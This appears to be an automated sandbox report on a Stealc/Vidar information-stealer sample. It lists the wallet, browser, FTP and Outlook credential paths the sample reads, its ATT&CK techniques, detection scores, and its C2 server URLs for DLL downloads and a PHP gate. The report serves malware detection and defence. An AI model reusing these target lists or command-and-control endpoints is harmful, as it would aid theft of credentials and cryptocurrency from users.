Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2354236515.0000000001687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\app-store.jsonD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2354236515.0000000001687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2354236515.0000000001687000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3628, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.5e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2122152470.00000000051C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2354236515.000000000162E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3628, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3628, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	4 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	335 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	641 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	45%	ReversingLabs	Win32.Trojan.Generic
file.exe	53%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37/	100%	URL Reputation	malware
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://185.215.113.37/e2b1563c6670f193.php3	100%	URL Reputation	malware
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/mozglue.dllA	18%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/mozglue.dllX	17%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000002.2354236515.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, HDBGHDHC.0.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.2354236515.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, HDBGHDHC.0.dr	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	IDHJEBGIEBFIJKEBFBFH.0.dr	false		unknown
http://185.215.113.374	file.exe, 00000000.00000002.2354236515.000000000162E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2354236515.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, IDHJEBGIEBFIJKEBFBFH.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dllA	file.exe, 00000000.00000002.2370333597.0000000029B04000.00000004.00000020.00020000.00000000.sdmp	true	18%, Virustotal, Browse	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.2354236515.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, HDBGHDHC.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2354236515.000000000162E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpm	file.exe, 00000000.00000002.2354236515.0000000001687000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dllX	file.exe, 00000000.00000002.2354236515.0000000001687000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpt	file.exe, 00000000.00000002.2354236515.00000000016F4000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37e2b1563c6670f193.phption:	file.exe, 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000002.2354236515.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, HDBGHDHC.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpy	file.exe, 00000000.00000002.2354236515.0000000001687000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phption:	file.exe, 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll&	file.exe, 00000000.00000002.2354236515.0000000001687000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2375567683.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2365232578.000000001DA41000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpK	file.exe, 00000000.00000002.2354236515.00000000016F4000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000002.2354236515.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, HDBGHDHC.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpY	file.exe, 00000000.00000002.2354236515.00000000016F4000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.2354236515.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, HDBGHDHC.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpmo	file.exe, 00000000.00000002.2354236515.00000000016F4000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2354236515.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, HDBGHDHC.0.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000002.2354236515.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, IDHJEBGIEBFIJKEBFBFH.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	KFIJJJEBGCFBGDHIDGCAEGDAAF.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dlln	file.exe, 00000000.00000002.2354236515.0000000001687000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpwindow-state.json?	file.exe, 00000000.00000002.2354236515.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000002.2354236515.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, HDBGHDHC.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000002.2354236515.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, IDHJEBGIEBFIJKEBFBFH.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2354236515.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, IDHJEBGIEBFIJKEBFBFH.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpfW	file.exe, 00000000.00000002.2354236515.00000000016F4000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php3	file.exe, 00000000.00000002.2354236515.00000000016F4000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	KFIJJJEBGCFBGDHIDGCAEGDAAF.0.dr	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2354236515.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, IDHJEBGIEBFIJKEBFBFH.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpwser	file.exe, 00000000.00000002.2354236515.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2354236515.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, IDHJEBGIEBFIJKEBFBFH.0.dr	false		unknown
https://support.mozilla.org	KFIJJJEBGCFBGDHIDGCAEGDAAF.0.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000002.2354236515.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, HDBGHDHC.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php)	file.exe, 00000000.00000002.2354236515.00000000016F4000.00000004.00000020.00020000.00000000.sdmp	true		unknown

